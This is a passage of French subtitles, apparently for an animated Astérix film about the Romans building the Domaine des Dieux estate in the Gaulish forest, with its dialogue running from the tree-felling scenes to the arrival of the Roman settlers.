SANGLIER! + +64 +00:06:17,873 --> 00:06:19,280 +[ il rigole. ] + +65 +00:06:20,059 --> 00:06:20,546 +o h ! + +66 +00:06:29,797 --> 00:06:32,805 +Mais qu'est-ce qu'ils +ont mis là, par Toutatis? + +67 +00:07:00,941 --> 00:07:04,859 +Un, deux, trois, quatre... + +68 +00:07:05,040 --> 00:07:07,810 +cent-vingt-cinq, +cent-vingt-six, cent-vingt-sept... + +69 +00:07:08,596 --> 00:07:10,086 +...et cent-vingt-huit! + +70 +00:07:10,296 --> 00:07:11,926 +Voici le premier arbre à abattre! + +71 +00:07:20,312 --> 00:07:24,344 +Il faut pas toucher aux arbres, Romains. +Idéfix a horreur de ça. + +72 +00:07:24,607 --> 00:07:25,727 +Allez, Idéfix! + +73 +00:07:29,251 --> 00:07:34,352 +Fichez le camp ici immédiatement! Ce +chantier est interdit au public! + +74 +00:07:49,620 --> 00:07:54,548 +J'aime bien quand des Romains sans +armure tombent. Ça fait un drôle de bruit. + +75 +00:08:07,036 --> 00:08:10,244 +Ô Arbraracourcix notre chef! + +76 +00:08:11,029 --> 00:08:13,547 +Il est en réunion. +Je peux prendre un message? + +77 +00:08:16,158 --> 00:08:17,332 +Allez, qu'est-ce que vous voulez? + +78 +00:08:18,881 --> 00:08:19,977 +Une histoire de poisson pas frais... + +79 +00:08:20,633 --> 00:08:21,758 +COMMENT ÇA, PAS FRAIS!?!? + +80 +00:08:22,427 --> 00:08:24,863 +JE RÉPONDAIS À UNE QUESTION!!! + +81 +00:08:26,005 --> 00:08:27,685 +Nous sommes tombés sur des +Romains dans la forêt, avec des ficelles. + +82 +00:08:29,917 --> 00:08:31,665 +Quel genre de ficelles? + +83 +00:08:31,978 --> 00:08:33,624 +Le genre où on se prend le pied dessus. + +84 +00:08:34,224 --> 00:08:36,683 +C'est un chantier interdit au public. + +85 +00:08:39,687 --> 00:08:43,396 +Bon, c'est que des ficelles, +alors c'est pas vraiment méchant! + +86 +00:08:45,494 --> 00:08:48,833 +Allez quand même surveiller +ce chantier, au cas où. + +87 +00:08:49,942 --> 00:08:51,057 +HÉ, ON FAISAIT UN RAPPORT! + +88 +00:08:51,329 --> 00:08:52,316 +C'EST FINI, TON RAPPORT! + +89 +00:09:04,203 --> 00:09:05,729 +Il est intolérable que +des barbares moustachus + +90 +00:09:05,753 --> 00:09:07,211 +viennent compromettre +les plans de César! + +91 +00:09:07,969 --> 00:09:11,971 +Je te l'avais dis, les Gaulois n'aiment +pas qu'on se promène dans leur forêt! + +92 +00:09:11,971 --> 00:09:12,595 +LEUR FORÊT!? + +93 +00:09:12,622 --> 00:09:14,785 +Mais, arrêtez de bouger!! + +94 +00:09:17,145 --> 00:09:19,186 +Ils se croient chez eux, c'est tout. + +95 +00:09:21,774 --> 00:09:23,163 +Alors on va Gauloiser leur forêt! + +96 +00:09:23,643 --> 00:09:25,219 +Il faudrait la dé-Gauloiser d'abord. + +97 +00:09:25,717 --> 00:09:27,883 +Je te rappelle que César compte sur toi. Et- + +98 +00:09:28,237 --> 00:09:29,523 +Avé centurion. + +99 +00:09:31,741 --> 00:09:34,176 +Les esclaves se plaignent d'une activité: +Ils s'ennuient. + +100 +00:09:34,328 --> 00:09:38,627 +Les opérations sont suspendues +pour cause de sécurisation du site. + +101 +00:09:41,487 --> 00:09:43,887 +J'ai rien compris. +- C'est pas grave. + +102 +00:09:44,305 --> 00:09:47,760 +Anglégus, je te le répète, pour éviter +les Gaulois, il faut travailler la nuit! + +103 +00:09:47,871 --> 00:09:48,392 +[ il rigole. ] + +104 +00:09:48,551 --> 00:09:53,351 +Un chantier de nuit! C'est n'importe quoi. +- Exactement comme votre bandage. + +105 +00:10:02,427 --> 00:10:06,107 +Centurion, pardonne-moi mais, mes +collaborateurs et moi-même sont indécis. + +106 +00:10:06,107 --> 00:10:07,047 +Devons-nous tirer? + +107 +00:10:07,450 --> 00:10:10,471 +Mais c'est pas vrai, combien de fois il +faut vous le dire, vous attendez mon signal! + +108 +00:10:10,699 --> 00:10:12,403 +C'est quoi votre signal, déjà? + +109 +00:10:12,580 --> 00:10:15,408 +Pour la 30ème fois, +c'est quand je lève le bras! + +110 +00:10:15,982 --> 00:10:16,982 +Tout à fait. + +111 +00:10:21,129 --> 00:10:23,749 +[ la grenouille croasse ] + +112 +00:10:25,673 --> 00:10:26,897 +Mais qu'est-ce qu'on attend, par Jupiter? + +113 +00:10:27,054 --> 00:10:28,052 +Chut!!! + +114 +00:10:28,052 --> 00:10:29,823 +[ chuchotement peureux ] Mais +qu'est-ce qu'on attend, par Jupiter? + +115 +00:10:29,984 --> 00:10:32,072 +J'attends le rapport de mes éclaireurs. + +116 +00:10:32,222 --> 00:10:36,802 +Centurion! On pense que tu +fais du tintouin avec l'architecte. + +117 +00:10:37,468 --> 00:10:39,148 +RETOURNE DANS LES RANGS!! + +118 +00:10:51,599 --> 00:10:52,640 +Mais qu'est-ce que vous fabriquez!? + +119 +00:10:52,917 --> 00:10:53,545 +Tu as levé le bras! + +120 +00:10:53,545 --> 00:10:54,959 +Mais pas du tout! +- Ah si! + +121 +00:10:54,959 --> 00:10:57,007 +Du coup, clac, j'ai donné le signal. + +122 +00:10:58,005 --> 00:10:59,746 +Avé centurion. Les éclaireurs en rapport. + +123 +00:10:59,746 --> 00:11:01,026 +Mais vous étiez où, vous? + +124 +00:11:01,026 --> 00:11:02,026 +Bah là! +- Là? + +125 +00:11:02,354 --> 00:11:03,356 +Et vous, vous éclairez quoi? + +126 +00:11:03,356 --> 00:11:05,196 +On préfère ne pas trop +s'éloigner d'ici à cause des... + +127 +00:11:05,196 --> 00:11:05,612 +[ ??? ] + +128 +00:11:05,964 --> 00:11:06,704 +J'entends rien, à cause de quoi? + +129 +00:11:07,075 --> 00:11:08,115 +DES GAULOIS!! + +130 +00:11:09,041 --> 00:11:11,719 +Des Gaulois!?!? Sonne la retraite! + +131 +00:11:16,667 --> 00:11:17,787 +Avé centurion. + +132 +00:11:19,511 --> 00:11:22,111 +REVENEZ IMMÉDIATEMENT, BANDE D'ABRUTIS! + +133 +00:11:23,728 --> 00:11:24,728 +Oh ben... + +134 +00:11:37,709 --> 00:11:38,451 +Waf Waf! + +135 +00:11:39,536 --> 00:11:40,121 +[ Obélix rigole. ] + +136 +00:11:40,121 --> 00:11:41,121 +Idéfix!?!? + +137 +00:11:43,868 --> 00:11:45,810 +Mais qu'est-ce qui se passe encore? + +138 +00:11:48,359 --> 00:11:49,575 +Un coup des Romains... + +139 +00:11:57,100 --> 00:11:59,966 +Voilà Idéfix. Tout est rentré dans l'ordre. + +140 +00:12:12,506 --> 00:12:15,114 +Bon. Pour ceux qui +n'ont pas suivi, je répète. + +141 +00:12:15,114 --> 00:12:15,633 +VOUS ÉCOUTEZ! + +142 +00:12:15,992 --> 00:12:18,021 +Si vous croyez qu'on va se +contenter d'un seul arbre par nuit, + +143 +00:12:18,021 --> 00:12:19,589 +Vous fourrez le doigt +dans l'œil jusqu'au Cubitus* + +144 +00:12:19,589 --> 00:12:21,244 +Présent! +- La ferme, Cubitus. + +145 +00:12:21,695 --> 00:12:24,759 +Allez. Il est où l'arbre +qu'on a arraché hier? + +146 +00:12:24,916 --> 00:12:26,941 +Alors, j'ai pas une très +très bonne nouvelle... + +147 +00:12:26,941 --> 00:12:28,252 +Il n'est plus arraché. + +148 +00:12:29,536 --> 00:12:30,845 +L'arbre... il est replanté. + +149 +00:12:31,002 --> 00:12:33,161 +...Au sens figuré? + +150 +00:12:33,161 --> 00:12:36,845 +Non, au sens propre, regarde: + +151 +00:12:39,223 --> 00:12:40,174 +NON MAIS C'EST PAS VRAI + +152 +00:12:40,174 --> 00:12:40,957 +MAIS C'EST PAS VRAI (x2) + +153 +00:12:41,108 --> 00:12:41,907 +MAIS C'EST PAS VRAI (x3) + +154 +00:12:41,907 --> 00:12:45,070 +Centurion! Le petit architecte +recommence à faire du tintouin! + +155 +00:12:45,070 --> 00:12:47,336 +Silence! Ça suffit, on rentre. + +156 +00:12:47,336 --> 00:12:48,686 +On ne peut pas lutter +contre un prodige pareil. + +157 +00:12:48,686 --> 00:12:50,790 +Pas question! On va arracher cet arbre! +- Encore? + +158 +00:12:50,790 --> 00:12:53,708 +Oui encore! En on va le rapporter au camp +pour être sûr que personne ne le replante! + +159 +00:12:53,708 --> 00:12:58,324 +On peut bien faire l'arrachage +des arbres, mais le transport... + +160 +00:12:58,848 --> 00:13:02,339 +Vous êtes des esclaves, alors vous faites +ce qu'on vous dit ET VOUS LA BOUCLEZ!! + +161 +00:13:03,107 --> 00:13:05,184 +Centurion, c'est toi qui +fait du tintouin maintenant! + +162 +00:13:05,455 --> 00:13:07,332 +TOI TU LA BOUCLES AUSSI! +ET VOUS, VOUS ARRACHEZ! + +163 +00:13:09,893 --> 00:13:11,667 +Heureusement que j'ai pas amené Idéfix! + +164 +00:13:11,892 --> 00:13:13,679 +Ô druide, qu'est-ce qu'on va faire? + +165 +00:13:13,832 --> 00:13:16,032 +J'ai une petite bricole rigolote. + +166 +00:13:23,425 --> 00:13:24,590 +Une bricole rigolote? + +167 +00:13:30,049 --> 00:13:33,890 +Prodigieux! Tu te rends compte, +Obélix, la vitesse a laquelle ils poussent? + +168 +00:13:33,890 --> 00:13:36,217 +Je sais pas, ça prends combien de +temps pour pousser normalement? + +169 +00:13:39,040 --> 00:13:41,034 +J'ai une nouvelle pas très rigolote. + +170 +00:13:42,345 --> 00:13:43,427 +Ah!! Oh!!! + +171 +00:13:48,731 --> 00:13:50,984 +C'est vrai qu'à première vue, +ça peut être décourageant. + +172 +00:13:56,549 --> 00:13:59,489 +Il faut voir aussi le bon +coté, la motivation reste intact. + +173 +00:13:59,489 --> 00:14:00,676 +Et ça, c'est formidable. + +174 +00:14:08,459 --> 00:14:11,711 +En tout cas, personne n'a baissé les +bras, et nous devons nous en féliciter. + +175 +00:14:20,862 --> 00:14:22,303 +Obélix, mange doucement! + +176 +00:14:22,303 --> 00:14:25,615 +Bah pourquoi faire? +Tiens, il me reste un glant! + +177 +00:14:26,196 --> 00:14:27,623 +NON, OBÉLIX, NON! + +178 +00:14:29,636 --> 00:14:33,747 +OBÉLIX! TU VAS ME DÉRACINER +CET ARBRE IMMÉDIATEMENT! + +179 +00:14:33,747 --> 00:14:35,937 +Ah non. Je ne peux pas faire ça à Idéfix. + +180 +00:14:39,467 --> 00:14:45,277 +Donc, si je comprends bien. Non +seulement le chantier n'avance pas... + +181 +00:14:46,177 --> 00:14:48,917 +Et les Romains n'ont pas envie d'y habiter! + +182 +00:14:51,147 --> 00:14:54,194 +Nos citoyens pensent à +l'idée d'habiter en harmonie. + +183 +00:14:54,194 --> 00:14:57,564 +Et si on construisait le Domaine +des Dieux juste à la sortie de Rome? + +184 +00:14:57,564 --> 00:14:59,246 +Les personnes voulant y habiter +n'auront pas besoin d'aller si loin. + +185 +00:14:59,246 --> 00:15:01,269 +TROUVEZ MOI UNE BONNE +SOLUTION BANDE D'INCAPABLES + +186 +00:15:01,269 --> 00:15:03,339 +OU VOUS FINIREZ TOUS +AUX ARÈNES AVEC LES LIONS! + +187 +00:15:03,804 --> 00:15:07,475 +Voilà qui divertira les citoyens! +Sans les amener loin de chez eux! + +188 +00:15:09,871 --> 00:15:11,178 +Les arènes... + +189 +00:15:12,226 --> 00:15:14,595 +Voilà une excellente idée, ô césar. + +190 +00:15:22,660 --> 00:15:27,245 +Aha! Minerve, je vais te détriper! +- Hercule! À moi! Au secours! Hercule! + +191 +00:15:27,472 --> 00:15:33,908 +Tadaaam! C'est moi, Hercule! +Tu vas le payer, méchant vilain! + +192 +00:15:34,155 --> 00:15:38,773 +Apeljus... C'est obligé, les +carnages? Les massacres? + +193 +00:15:39,051 --> 00:15:40,851 +Mais laisse-le, il s'amuse! + +194 +00:15:41,221 --> 00:15:44,114 +Mais c'est fou! Où +va-t-il chercher tout ça? + +195 +00:15:56,610 --> 00:15:59,039 +On fait une prise double ou triple? +- Double, double! + +196 +00:15:59,632 --> 00:16:04,302 +Et les cervicales, ça va? +- Oui, sauf les mouvements brusques. + +197 +00:16:05,281 --> 00:16:07,729 +Prêt pour le coup croquant? +- Prêt! + +198 +00:16:11,623 --> 00:16:12,793 +J'ai jamais aimé ce coup-là. + +199 +00:16:13,657 --> 00:16:15,337 +Bon ben, désolé vieux. + +200 +00:16:17,168 --> 00:16:19,282 +N'essaie pas de t'y prendre à trois fois! + +201 +00:16:19,744 --> 00:16:21,678 +[ introduction de RTL Matin ] + +202 +00:16:22,341 --> 00:16:23,557 +Ah bah voilà! Une annonce! + +203 +00:16:25,803 --> 00:16:29,195 +Y'a plus moyen de faire une +mise à mort correctement? + +204 +00:16:30,383 --> 00:16:32,327 +Romains! Romaines! + +205 +00:16:32,494 --> 00:16:38,344 +Vous en avez assez, assez de l'atmosphère +remplie de la ville, du bruit... + +206 +00:16:38,344 --> 00:16:40,700 +De la frénésie, du trafic?! + +207 +00:16:41,007 --> 00:16:41,989 +Non, pas vraiment... + +208 +00:16:43,003 --> 00:16:48,885 +Une cité nouvelle t'attends + +209 +00:16:48,885 --> 00:16:51,808 +t'attends à moins de trois +semaines du centre de Rome! + +210 +00:16:51,808 --> 00:16:56,361 +Le divin César offrira, ce +soir, à l'un d'entre vous... + +211 +00:16:56,361 --> 00:16:58,284 +Un splendide appartement du... + +212 +00:16:58,531 --> 00:16:59,971 +DOMAINE DES DIEUX! + +213 +00:17:04,941 --> 00:17:06,980 +Consulte impubliable +qui se trouve à tes pieds! + +214 +00:17:08,399 --> 00:17:09,685 +Mais c'est magnifique! + +215 +00:17:10,088 --> 00:17:11,888 +Mais, c'est en Armorique... + +216 +00:17:12,033 --> 00:17:14,124 +C'est où, l'Armorique? +- J'sais pas mais, c'est loin! + +217 +00:17:14,684 --> 00:17:16,527 +Que le grand tirage au sort... + +218 +00:17:17,024 --> 00:17:18,024 +COMMENCE!!! + +219 +00:17:34,293 --> 00:17:35,973 +L'Heureux vainqueur... + +220 +00:17:37,216 --> 00:17:38,896 +Est... le détenteur... + +221 +00:17:40,057 --> 00:17:41,737 +De impubliable numéro... + +222 +00:17:44,588 --> 00:17:45,588 +II!!! + +223 +00:17:47,205 --> 00:17:48,259 +Mais... Mais c'est toi! + +224 +00:17:48,942 --> 00:17:50,093 +Vite, descend, descend!! + +225 +00:17:50,781 --> 00:17:51,957 +Je peux pas aller en Armorique! + +226 +00:17:53,384 --> 00:17:55,117 +Alors? Qui a le numéro II? + +227 +00:17:56,191 --> 00:17:58,742 +C'est nous! C'est ici! +C'est cette personne! + +228 +00:17:58,881 --> 00:18:00,948 +On a gagné quoi? Un gladiateur? + +229 +00:18:02,288 --> 00:18:04,432 +On acclame bien fort pendant +qu'il descend de l'arène! + +230 +00:18:07,908 --> 00:18:11,812 +Oh regarde comment ton père est beau! +On dirait un héros grec! + +231 +00:18:12,622 --> 00:18:15,011 +Bravo, Bravo! + +232 +00:18:16,263 --> 00:18:18,663 +Souris, montre ton numéro et souris! + +233 +00:18:21,676 --> 00:18:24,637 +C'est où, déjà, l'Armorique? +- En Gaule. + +234 +00:18:25,129 --> 00:18:27,329 +Ah oui! Ça fait loin, quand même. + +235 +00:18:28,008 --> 00:18:29,844 +Alors, si je veux pas aller en Armorique? + +236 +00:18:29,844 --> 00:18:32,577 +Alors tu restes la et on lache les lions. + +237 +00:18:48,131 --> 00:18:49,811 +Ah ouais! Effectivement. + +238 +00:18:51,319 --> 00:18:53,895 +Là, faut admettre que l'architecture +Romaine, c'est drôlement impressionnant! + +239 +00:18:54,739 --> 00:18:56,510 +Si je comprends bien, +c'est le hall d’accueil! + +240 +00:18:56,872 --> 00:18:59,753 +[ ils rigolent. ] + +241 +00:18:59,951 --> 00:19:01,303 +Bon. On vas arrêter les frais. + +242 +00:19:03,061 --> 00:19:05,461 +On va dire que la rigolade est fini. + +243 +00:19:05,702 --> 00:19:06,902 +JAMAIS, JAMAIS + +244 +00:19:07,381 --> 00:19:10,718 +CÉSAR M'A CONFIÉ UNE MISSION +ET JE L’AMÈNERAI, EN BOUT + +245 +00:19:10,856 --> 00:19:14,184 +JE VAIS FAIRE MOURIR LES +ESCLAAAVEES À LA TAAACHEEEE + +246 +00:19:16,187 --> 00:19:18,249 +Faire mourir les esclaves à la tâche? + +247 +00:19:18,824 --> 00:19:21,063 +Nous continuons de replanter +les arbres, c'est ce qui arrivera. + +248 +00:19:21,383 --> 00:19:22,909 +Qu'est-ce qu'on peut faire, Panoramix? + +249 +00:19:22,909 --> 00:19:23,949 +On réfléchit. + +250 +00:19:31,095 --> 00:19:33,979 +J'ai une idée, mais vous +n'allez pas l'accepter. + +251 +00:19:34,137 --> 00:19:35,137 +Et si on collait aux Romains +une bonne raclée générale? + +252 +00:19:35,713 --> 00:19:37,234 +Voilà! C'était ça, mon idée. + +253 +00:19:37,450 --> 00:19:39,524 +Pour protéger les esclaves, j'ai un plan. + +254 +00:19:39,675 --> 00:19:43,387 +Cela requiert une raclée, mais +heureusement une minuscule. + +255 +00:19:44,421 --> 00:19:46,621 +Une petite raclée? Ça existe, ça? + +256 +00:19:48,584 --> 00:19:49,784 +Chi-fou-mi! Oh. + +257 +00:19:50,134 --> 00:19:51,134 +Chi-fou-mi! + +258 +00:19:53,931 --> 00:19:55,211 +Excusez-moi, le clan des +esclaves, s'il-vous-plaît. + +259 +00:19:58,155 --> 00:19:59,155 +BONJOUUR!! + +260 +00:19:59,502 --> 00:20:02,734 +VOUS NE POUVEZ PAS SAVOIR +QUE JE SUIS DE BONNE HUMEUR! + +261 +00:20:42,854 --> 00:20:46,566 +Voici une potion qui donne +une force surhumaine. Cadeau. + +262 +00:20:46,870 --> 00:20:47,943 +Je pourrai la prendre +pour essayer si ça marche? + +263 +00:20:47,943 --> 00:20:48,872 +Non. + +264 +00:20:49,464 --> 00:20:53,624 +Il ne reste plus qu'à vous +mutiner et vous fuir. Vous êtes libre. + +265 +00:20:54,009 --> 00:20:56,343 +Alors, je voudrais dire merci, mais + +266 +00:20:56,929 --> 00:20:59,254 +La fuite est-elle réellement une issue? + +267 +00:20:59,254 --> 00:21:02,628 +Vous parlez de fuite, +mais la fuite n'est-elle pas... + +268 +00:21:02,628 --> 00:21:05,647 +Une autre façon d'esclavage? + +269 +00:21:06,389 --> 00:21:08,606 +Ça serait plutôt le début +d'une forme de liberté... + +270 +00:21:08,606 --> 00:21:10,743 +ET POURTANT! Pas de fuite sans oppression! + +271 +00:21:10,743 --> 00:21:12,696 +Je taquine un peu, mais admettez +qu'il y a une matière à débat! + +272 +00:21:13,028 --> 00:21:15,282 +Moi, je veux juste vous offrir une potion. + +273 +00:21:15,282 --> 00:21:17,132 +J'entends bien. Je veux juste revenir sur-- + +274 +00:21:17,311 --> 00:21:19,386 +TU PRENDS LA POTION OU ON T'EN COLLES UNE!! + +275 +00:21:19,527 --> 00:21:20,255 +Tout à fait. + +276 +00:21:30,371 --> 00:21:31,296 +Qu'est-ce qui s'est passé? + +277 +00:21:31,296 --> 00:21:34,931 +Un beau témoignage de nos amis Gaulois. + +278 +00:21:37,891 --> 00:21:40,091 +Ah non, vous, j'ai pas le moment! + +279 +00:21:44,877 --> 00:21:45,877 +Aïe. + +280 +00:21:54,458 --> 00:21:58,106 +Alors, à partir d'aujourd'hui, +nous toucherons une solde + +281 +00:21:58,587 --> 00:22:01,172 +égal aux légionnaires: des +congés, 2 repas par jour... + +282 +00:22:01,434 --> 00:22:02,248 +Treize. +- Comment? + +283 +00:22:02,446 --> 00:22:04,913 +Trois. +- Ah oui, trois repas par jour. + +284 +00:22:05,331 --> 00:22:09,427 +Quand le premier immeuble du +Domaine des dieux sera construit... + +285 +00:22:09,906 --> 00:22:11,590 +Nous voulons être affranchis. +- Affranchis? + +286 +00:22:11,590 --> 00:22:13,323 +Libres. +- Ah si si, libres. + +287 +00:22:13,824 --> 00:22:16,317 +On exige un logement à chacun +dans l'immeuble qu'on a construit. + +288 +00:22:17,403 --> 00:22:18,695 +C'est les plus. +- Présent! + +289 +00:22:18,695 --> 00:22:19,695 +Chut! + +290 +00:22:20,941 --> 00:22:24,013 +Tu vas pas accepter ça? +- Si, ça a l'air prudent. + +291 +00:22:24,279 --> 00:22:25,399 +Marché conclu? + +292 +00:22:59,107 --> 00:23:00,787 +Ah ouais! Effectivement. + +293 +00:23:01,325 --> 00:23:04,662 +Il faut admettre que l'architecture +Romaine, c'est drôlement impressionnant. + +294 +00:23:05,215 --> 00:23:07,015 +Ouais, c'est du bon boulot. +- Qu'est-ce que tu fais là? + +295 +00:23:07,521 --> 00:23:13,575 +Centurion, il serait question que tu donnes +aux esclaves la même solde que nous!? + +296 +00:23:13,884 --> 00:23:16,828 +Évidemment, on confirme +que c'est des salades! + +297 +00:23:19,294 --> 00:23:20,334 +C'est le mien. +- Non! + +298 +00:23:20,334 --> 00:23:21,334 +[ ils se disputent. ] + +299 +00:23:43,268 --> 00:23:45,072 +Mais qu'est-ce que vous +fabriquez? Si on vous + +300 +00:23:45,073 --> 00:23:46,877 +a donné la potion, +c'est pour vous enfuir! + +301 +00:23:47,434 --> 00:23:50,554 +On en a discutés et on dirait que +la condition d'esclavage en fuite + +302 +00:23:50,554 --> 00:23:53,641 +Ne représente pas la +perspective d'une bonne carrière. + +303 +00:23:53,641 --> 00:23:55,400 +Qu'est-ce que vous +voulez de plus, par Toutatis? + +304 +00:23:55,707 --> 00:23:59,422 +En toute simplicité, devenir +des citoyens Romains libres. + +305 +00:23:59,422 --> 00:24:00,813 +Et pour ça, nous +voulons finir cet immeuble. + +306 +00:24:01,774 --> 00:24:03,649 +NOUS NE POUVONS PAS TE +LAISSER DÉTRUIRE NOTRE FORÊT. + +307 +00:24:04,152 --> 00:24:05,280 +CETTE PLAISANTERIE A ASSEZ DURÉ. + +308 +00:24:05,573 --> 00:24:07,473 +ÉLOIGNE TES HOMMES. QUAND +NOUS REVIENDRONS, CE SERA + +309 +00:24:07,473 --> 00:24:09,153 +POUR DÉTRUIRE CE CHANTIER + +310 +00:24:22,324 --> 00:24:23,825 +TOUT LE MONDE A ÉTÉ SERVI LES ENFANTS? + +311 +00:24:24,001 --> 00:24:24,944 +OUAAAAIIISSS!!!! + +312 +00:24:24,944 --> 00:24:25,731 +Non. + +313 +00:24:26,162 --> 00:24:27,932 +Bon, un peu de silence pour mon discours. + +314 +00:24:29,950 --> 00:24:31,894 +Vous ne savez pas sur qui il faut taper! + +315 +00:24:32,120 --> 00:24:33,201 +MAIS ON S'EN FICHE! + +316 +00:24:33,354 --> 00:24:34,043 +Du moment qu'on tape! + +317 +00:24:34,189 --> 00:24:36,789 +Ce qu'il faut démolir surtout, +c'est un grand bâtiment-- + +318 +00:24:36,876 --> 00:24:39,609 +ON CASSE TOUT SUR NOTRE CHEMIN ET ÇA IRA! + +319 +00:25:03,152 --> 00:25:03,670 +Greu! + +320 +00:25:11,017 --> 00:25:13,788 +44, Vous me suivez! +- Hé, vous avez oublié le 43! + +321 +00:25:13,893 --> 00:25:15,573 +43, c'est l'entrée C! + +322 +00:25:16,861 --> 00:25:17,901 +Des civils... + +323 +00:25:18,290 --> 00:25:22,706 +Oh, regarde, une petite animation +costumée pour nous faire patienter! + +324 +00:25:28,498 --> 00:25:29,858 +Viens, mon grand. + +325 +00:25:33,834 --> 00:25:36,047 +On peut casser la grosse maison? +- Non. + +326 +00:25:36,819 --> 00:25:39,353 +Bon ben une colonne, quand même. +- Non! + +327 +00:25:39,749 --> 00:25:42,149 +La petite charrette, au moins! +- Non!! + +328 +00:25:42,569 --> 00:25:47,433 +TU PEUX ME DIRE À QUOI SERVENT LES +ROMAINS SI ON PEUT PAS LES TAPER DESSUS!? + +329 +00:25:52,821 --> 00:25:54,501 +On rentre à la maison. + +330 +00:26:05,395 --> 00:26:07,366 +Moi, ce qu'il me faut, +c'est votre titre de propriété. + +331 +00:26:08,044 --> 00:26:11,714 +Mais c'est *ça*, mon titre de propriété! +- On nous l'as confié par César! + +332 +00:26:11,837 --> 00:26:13,091 +Je ne sais pas ce qu'il vous faut! + +333 +00:26:13,228 --> 00:26:14,713 +Écoute, Petirectus. +- Petiminus. + +334 +00:26:14,850 --> 00:26:16,147 +Petiminus. Je ne peux pas-- + +335 +00:26:16,304 --> 00:26:19,651 +Dites! Si vous n’arrêtez pas de +gigoter, on ne vas pas s'en sortir! + +336 +00:26:19,651 --> 00:26:25,084 +C'est long, hein! +- La mosaïque n'est pas une nouveauté. + +337 +00:26:29,573 --> 00:26:31,255 +Cette mosaïque a un problème. +- Pardon? + +338 +00:26:31,964 --> 00:26:34,636 +Elle est beaucoup trop grande et +vous ne l'avez pas consolidé par zone. + +339 +00:26:35,595 --> 00:26:37,168 +Cette mosaïque est parfaite, Peticitrus. +- Petiminus. + +340 +00:26:37,357 --> 00:26:40,959 +Petiminus. Je ne peux pas t'attribuer +de logement. Merci, bonne journée. + +341 +00:26:40,959 --> 00:26:43,859 +Mais enfin, on a fait +des semaines de voyage! + +342 +00:26:44,376 --> 00:26:47,077 +Repasse demain avec un +dossier complet. Suivant! + +343 +00:26:52,542 --> 00:26:54,675 +Allez, file, toi, j'suis occupé. + +344 +00:26:56,542 --> 00:26:57,542 +AHH!! + +345 +00:27:06,776 --> 00:27:08,456 +Perdu en Armorique... + +346 +00:27:15,300 --> 00:27:18,372 +Regardez: il lève une +colonne tout seul! Tadaam! + +347 +00:27:45,017 --> 00:27:47,217 +Je...je peux jouer avec le chien? + +348 +00:27:48,487 --> 00:27:52,661 +Bien sûr! Il est très doué pour +rapporter des bâtons. Hein, Idéfix? + +349 +00:27:54,200 --> 00:27:57,849 +Bon, pour rapporter des menhirs, j'essaie +de l’entraîner mais c'est pas encore simple + +350 +00:28:01,953 --> 00:28:03,753 +Allez, Idéfix! Va chercher! + +351 +00:28:04,618 --> 00:28:07,075 +Wow...! Hercule! + +352 +00:28:08,180 --> 00:28:10,728 +On a quand même pas de bol. +- Qu'est-ce qui va nous tomber dessus? + +353 +00:28:15,666 --> 00:28:17,655 +Papa, Maman, j'ai trouvé Hercule!! + +354 +00:28:18,135 --> 00:28:19,335 +Où ça, Hercule? + +355 +00:28:20,534 --> 00:28:22,867 +Apeljus! +- Épargne l'enfant Gaulois! + +356 +00:28:29,006 --> 00:28:30,311 +JE VOUS AIS COMPRIS! + +357 +00:28:30,763 --> 00:28:33,698 +À propos de quoi? +- Euh, d'une manière générale. + +358 +00:28:34,100 --> 00:28:35,402 +Vous êtes tous-- +- LE POTAGER VA ÊTRE FROID! + +359 +00:28:35,572 --> 00:28:36,859 +Une minute, mimine... + +360 +00:28:37,900 --> 00:28:41,306 +Vous êtes tous très déçu, voilà, de +pas avoir le droit à une bonne bagarre... + +361 +00:28:41,453 --> 00:28:43,848 +On a pris la potion magique pour rien! +[ tout le monde acquiesce ] + +362 +00:28:45,422 --> 00:28:49,260 +Si je croise un civil Romain dans +la forêt, je lui lancerai un regard + +363 +00:28:49,260 --> 00:28:51,197 +QUI EN DIRA TOUT! +- Moi, moi, moi! + +364 +00:28:51,593 --> 00:28:53,847 +Si un civil Romain me demande +son chemin, je lui indiquerai. + +365 +00:28:53,847 --> 00:28:55,899 +MAIS IL VIENDRA PAS MONTER +LA MONNAIE DE SA PIÈCE! + +366 +00:28:57,381 --> 00:29:00,315 +S'il y a un qui m'aide à porter +mon panier, je lui dirai merci. + +367 +00:29:00,814 --> 00:29:02,639 +MAIS ÇA SERA PAS VRAIMENT SINCÈRE!! + +368 +00:29:07,517 --> 00:29:12,189 +C'est des copains. Ils savent pas +aller avec une clé de je sais pas quoi. + +369 +00:29:12,879 --> 00:29:16,131 +C'est la meilleure! La dernière +fois qu'un Romain a pris un pied ici, + +370 +00:29:16,131 --> 00:29:17,731 +J'étais même pas né! + +371 +00:29:19,937 --> 00:29:24,376 +Je suis désolé, mais ça ressemble +à une toute petite essai d'invasion. + +372 +00:29:24,376 --> 00:29:26,083 +ATTAQUEZ LES ENVAHISSEURS, LES ENFANTS!! + +373 +00:29:27,979 --> 00:29:30,879 +Mais où, t'as vu des envahisseurs, +toi? C'est une famille perdue! + +374 +00:29:31,157 --> 00:29:32,198 +Mais, mimine... + +375 +00:29:37,682 --> 00:29:40,415 +Allez, viens manger. Y'a du potage tiède. + +376 +00:29:52,983 --> 00:29:56,247 +Astérix. Guerrier du village. +- Petiminus, mosaïste. + +377 +00:30:09,768 --> 00:30:11,701 +Bon alors, du coup, qu'est-ce qu'on fait? + +378 +00:30:11,809 --> 00:30:12,226 +À propos de quoi? + +379 +00:30:12,352 --> 00:30:15,267 +Au Domaine des Dieux, qu'on +ne tape pas les civils, tout ça. + +380 +00:30:16,132 --> 00:30:18,098 +Parce qu'en attendant, +les travaux continuent! + +381 +00:30:18,283 --> 00:30:19,836 +Ça veut dire qu'il va en arriver d'autres! + +382 +00:30:20,680 --> 00:30:25,229 +Il faut trouver un moyen de se +débarrasser des civils sans taper dessus. + +383 +00:30:32,903 --> 00:30:34,669 +C'est le moment, on y va, Obélix! + +384 +00:30:45,031 --> 00:30:48,982 +Et je lève la corne à la santé des +résidents du Domaine des Dieux! + +385 +00:30:52,443 --> 00:30:55,358 +Aaahh, quand même! Enfin +la fameuse pluie Armonicaine! + +386 +00:30:55,358 --> 00:30:58,041 +Quand j'pense quand ce moment +à Rome il serait tout de chaleur! + +387 +00:31:08,066 --> 00:31:09,503 +Avé. +- Salut. + +388 +00:31:12,556 --> 00:31:15,165 +IL EST FRAIS! IL EST FRAIS MON POISSON!! + +389 +00:31:15,165 --> 00:31:16,946 +Vous le vendez combien votre macro, là? + +390 +00:31:18,033 --> 00:31:19,471 +Euuuhh, 1 sesterce. + +391 +00:31:19,471 --> 00:31:22,679 +Un sesterce? À Rome, il nous en vendent à 5 +- 